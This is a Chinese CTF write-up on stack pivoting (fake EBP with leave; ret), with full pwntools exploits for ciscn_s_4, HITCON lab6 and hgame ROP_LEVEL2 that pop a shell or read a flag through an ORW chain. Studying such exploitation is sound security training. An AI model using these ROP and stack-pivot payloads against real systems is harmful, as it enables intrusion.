理解frame faking 栈迁移+例题详解(含图示)

一、32位

原理：

(1) 通过栈溢出或者其他方式控制EBP。

(2) 控制EIP。

(3) 利用leave_ret 使得程序的执行流程被我们所控制。

leave_ret：

leave:
        move esp,ebp;
        pop ebp;(esp=esp+4)

ret:
        pop    eip;

栈迁移大概流程图：

关键点：ebp实际上是个寄存器

二、例题

(1) ciscn_4_s：

看程序关键部分：

* 这里有两个read，且都是读入到同一个地方。

* s可储存的大小为0x28，但read可读入0x30。

* printf %s 结束符是'\0'(所以read读入不为空时候，printf因为遇见结束符才停止,进而可以泄露ebp地址)

这里还有个后面函数，所以这里调用了system。所以我们在后面也可以使用system。

0x28太小不足以用一些好的ROP。

我们如果把0x28，全填充为A 栈上的布局如图：

而printf %s 要遇见'\0' 才会终止，所以我们可以通过printf泄露出ebp的地址， 从而伪造ebp实现栈迁移。

我们先设计一下exp：

(1) 有两个read，第一个read填充0x28，通过printf %s打印出ebp地址。

(2) 第二次read，读入我们设置的栈布局。

(3)：

这里流程是 read 结束后，要leave_ret 此时 ebp -> fake_ebp_addr。

又将会执行一次leave_ret(即我们放进去的 leave_ret)

* move esp，ebp；esp 和 ebp 会指向同一位置。

*pop ebp; 此时ebp指向‘’AAAA“ 且esp=esp+4 指向 system_plt。

*pop eip把esp指向的 system_plt 地址填入EIP寄存器中。

*system_plt 下方的4 * ”A“ 是system_fake_ebp。

因为第二次 leave_ret， 同样要pop ebp，pop ebp 后 ebp=’AAAA'

同样要esp=esp+4，所以前四个字节填AAAA。

system_plt 放在buf+4的地址。 完成pop ebp 后 esp -> system_plt。 然后程序会按照我们栈布局的内容执行，从而getshell。

Exp：

from pwn import *
arch      = 32
challenge = "./ciscn_s_4"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
    io = process(challenge)
    #libc = ELF("./libc.so.6")
    elf = ELF(challenge)
else:
    io = remote('node3.buuoj.cn',25839)
    #libc = ELF("./libc.so.6")
    elf = ELF(challenge)
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
p   = lambda      : pause()
s   = lambda x    : success(x)
re  = lambda x     : io.recv(x)
ru  = lambda x    : io.recvuntil(x)
rl  = lambda      : io.recvline()
sd  = lambda x    : io.send(x)
sl  = lambda x    : io.sendline(x)
itr  = lambda      : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa  = lambda a, b : io.sendafter(a, b)
 
def dbg():
    gdb.attach(io)
    pause()
system=elf.plt['system']
leave_ret=0x080485FD
#pwnlib.gdb.attach(proc.pidof(io)[0])
payload1='A' * 0x24+'a'*4
ru('name?')
sd(payload1)
ru('aaaa')
ebp=u32(re(4).ljust(4,'\x00'))
print 'epb:'+(hex(ebp))
fake_ebp=ebp-0x38
payload2='AAAA'+p32(system)+'AAAA'+p32(fake_ebp+16)+'/bin/sh\x00'
payload2+='A'*(0x28-len(payload2))+p32(fake_ebp)+p32(leave_ret)
sd(payload2)
pause()
itr()
pause()

payload 解释：

fake_ebp:

GDB得到buf_address = 0xffffce20

得到ebp 指向的地址 [ebp]=0xffffce58

  offset=0xffffce58 - 0xffffce20 =0x38

所以我们只要把泄露出的ebp -0x38，就让程序流程从布局好的buf段上执行。

(2) hitcon-master-lab6

检查保护：

rgzz@ubuntu:~/work/stack/pivoting$ checksec migration
[*] '/home/rgzz/work/stack/pivoting/migration'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

NX enabled,FULL RELRO

再进IDA看看程序流程：

这里count是个检查，不好反复栈溢出 main 只能跳一次。

这里选择通过伪造ebp，通过栈转移进而控制程序执行流程。

这里可以溢出大小为：0x40-0x28=0x18

因为我们每次只能读入0x40个字节，所以payload要分开写。

payload1：

payload1=flat([0x28 * 'A',bss+0x500,read_plt, leave_ret,0,bss+0x500,0x100])

这里payload1刚好大小0x40。

我们先找到一段可以写的bss段，然后把bss+0x500地址作为fake_ebp。

fake_ebp就是我们新的stack起始， 通过把return_address地址覆盖为read_plt，进而调用read向新的stack 写入我们的payload2。

gdb 跟一下：

跟到第一个read后发现ebp已经被我们虚假fake_ebp覆盖了。(buf_addr 就是找到bss段+0x500)

马上程序会执行第个read (1)

第read(1) 读入puts.plt，因为没有现成的system函数可以调用，这里选择通过puts泄露libc基址。

泄露后继续利用read(2)，读入 system 地址和'/bin/sh' 从而实现get shell。

因为我们要跳到我们填 system_address 的地址上所以 fake_ebp2=bss+0x400=read(2) 读入数据存放地址。

当read(2)结束后通过leave_ret 跳到bss+0x400上，进而执行system("/bin/sh")。

payload2:

payload2 = flat([bss+0x400
,puts_plt
,pop_ebx_ret
,puts_got
,read_plt
,leave_ret
,0
,bss+0x400
,0x100
])

payload3：

payload3 = flat(["aaaa",system,bbbb,binsh_addr])

* pop_ebx_ret 因为每次调用function.plt要有返回地址 pop_ebx_ret 用于链接payload2流程。

* 若 pop_ebx_ret 填为 puts_fake_plt='AAAA'， 则就不能正常执行下面的read(2)。

图示栈布局程序流程：

exp 如下：

from pwn import *
arch      = 32
challenge = "./migration"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
    io = process(challenge)
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    elf = ELF(challenge)
else:
    io = remote('',)
    #libc = ELF("./libc.so.6")
    elf = ELF(challenge)
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
p   = lambda      : pause()
s   = lambda x    : success(x)
re  = lambda x    : io.recv(x)
ru  = lambda x    : io.recvuntil(x)
rl  = lambda      : io.recvline()
sd  = lambda x    : io.send(x)
sl  = lambda x    : io.sendline(x)
itr = lambda      : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa  = lambda a, b : io.sendafter(a, b)
 
def dbg():
    gdb.attach(io)
    pause()
read_plt = elf.plt['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
bss = elf.bss()
leave_ret = 0x08048504
pop_ebp_ret = 0x0804836d
print 'buf addr:'+hex(bss+0x500)
print 'puts_got:'+hex(puts_got)
ru(':\n')
payload1  = flat([0x28 * 'A', bss+0x500, read_plt, leave_ret, 0, bss+0x500,0x100])
sd(payload1)
 
#dbg()
 
payload2 = flat([bss+0x400, puts_plt, pop_ebp_ret, puts_got, read_plt, leave_ret, 0, bss+0x400,0x100])
sd(payload2)
puts = u32(io.recv(4))
print 'puts address:'+hex(puts)
libc.address = puts - libc.symbols['puts']
binsh_addr = next(libc.search('/bin/sh'))
system = libc.symbols['system']
 
payload3 = flat(['AAAA',system,'bbbb',binsh_addr])
sd(payload3)
itr(

exp 中 pop_ebx_ret 是为了弹出在栈上 puts_got 好正常执行：

read(0,bss+0x400,0x100)

因为read 的参数是由栈上获取的。

题目下载地址:

https://github.com/hebtuerror404/CTF_competition_warehouse_2020_First/trunk/ROP_LEVEL2

3、总结

* 通过read 等函数，用fake frame 覆盖原本ebp。

* 通过leave_ret 方法使程序跳到我们布局好的bss\stack 段上，进而控制程序流程，进而get_shell 或者orw得到 flag。

原理和x86的栈迁移的原理一致都是通过制造fake ebp 来将栈转移到我们布置的地址空间上， 从而控制程序执行流程。

区别：

x64要通过gadget填入参数 。

这里拿hgam e 2020 week3 的ROP_level2 举例。

先看保护：

NX enabled

main function:

发现可以向buf地址写内容。

有两个read 第一个read可以读0x100 且是向buf地址写内容(buf 在bss段上)

所以我们可以把栈布局在buf上，然后通过第二个read制造一个fake ebp 从而实现栈迁移。

把栈执行流程转移到我们之前布局的地址上。

这里还发现有seccomp 禁用了execve()。

所以这里就通过orw来直接读flag了。

因为这里利用gadget，所以我们先寻找gadget，我们发现rdi和rsi都可以控制，但是rdx不行。

后话：(这里调试发现rdx参数是之前read的0x60无影响)

这里我们选择利用libc_csu_init通用gadget 来控制参数，刚好就利用栈迁移+orw+libc_csu_init 通用gadget。

利用总结：

* 通过第一个read读入栈布局通过libc_csu_init 给open，read，put 填入参数。

* 通过第二个read 读入junk_data 伪造fake_ebp 使栈转移到我们刚刚布局的地址上。

* 利用puts打印flag(puts只需要控制一个参数)

payload1 分成三段来解释：

payload1 = './flag\x00\x00'
payload1+=code([csu_start,0,1,open_got,0,0,buf_addr,csu_end])
payload1+='A' * 8+code([0,1,read_got,0x20,bss_stage,0x4,csu_end])+0x38 * 'A'
payload1+=code([pop_rdi,bss_stage,puts_plt])
ru("so?\n")

section 1：

payload1 = './flag\x00\x00'
payload1+=code([csu_start,0,1,open_got,0,0,buf_addr,csu_end])

open(buf_address,0)

通过libc_csu_init 填入参数 把'./flag' 放在buf_addr 开头。 利用csu_end 里的call来执行。

section 2：

payload1+='A' * 8+code([0,1,read_got,0x20,bss_stage,0x4,csu_end])+0x38 * 'A'

section1执行完后由于我们控制 rbx==rbp==1 所以不跳转，但是要 rsp=rsp+8。

这里用'A' * 8 来填充栈，使后面填充的参数正确对应。

填充 read(fd,address,size)=read(0x4,bss_stage,0x20)，(bss_stage) 是读的flag放置的位置。

用0x38作为libc_csu_init gadget利用的结尾平衡栈。

section 3:

payload1+=code([pop_rdi,bss_stage,puts_plt])

利用puts打印flag。

payload2：

payload2 = 'A' * 0x50 + p64(buf_addr) + p64(leave_ret)

前0x50 用"A"填充，利用我们布局的栈地址覆盖用原来的ebp ，利用leave_ret 实现栈转移。

完整exp：

#!/usr/bin/python
from pwn import *
arch      = 64
challenge = "./ROP_LEVEL2"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
    #io=gdb.debug(challenge,"break main")
    io = process(challenge)
    #libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    elf = ELF(challenge)
else:
    io = remote('node3.buuoj.cn',25839)
    #libc = ELF("./libc.so.6")
    elf = ELF(challenge)
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
p   = lambda      : pause()
s   = lambda x    : success(x)
re  = lambda x    : io.recv(x)
ru  = lambda x    : io.recvuntil(x)
rl  = lambda      : io.recvline()
sd  = lambda x    : io.send(x)
sl  = lambda x    : io.sendline(x)
itr = lambda      : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa  = lambda a, b : io.sendafter(a, b)
leave_ret = 0x40090d
read_plt = elf.plt['read']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
csu_start = 0x400A3A
csu_end   = 0x400A20
open_plt = elf.plt['open']
open_got = elf.got['open']
bss_stage = elf.bss()+0x200
buf_addr = 0x6010A0
pop_rdi = 0x400a43
pop_rsi_r15 = 0x400a41
def code(buf):
    out1 = b""
    for i in buf:
        out1+=p64(i)
    return out1
#csu end
#mov     rdx, r13
#mov     rsi, r14
#mov     edi, r15d
#csu start
#rbx rbp r12 r13 r14 r15
payload1 = './flag\x00\x00'
payload1+=code([csu_start,0,1,open_got,0,0,buf_addr,csu_end])
payload1+='A' * 8+code([0,1,read_got,0x20,bss_stage,0x4,csu_end])+0x38 * 'A'
payload1+=code([pop_rdi,bss_stage,puts_plt])
ru("so?\n")
sd(payload1)
sleep(1)
payload2 = 'A' * 0x50 + p64(buf_addr) + p64(leave_ret)
sd(payload2)
itr()

补充：本地复现需要自己创建一个flag 文件和 some_life_experience文件。

https://bbs.pediy.com/thread-258030.htm

看雪ID：0xRGz

https://bbs.pediy.com/user-home-907645.htm

点击“阅读原文”，了解更多！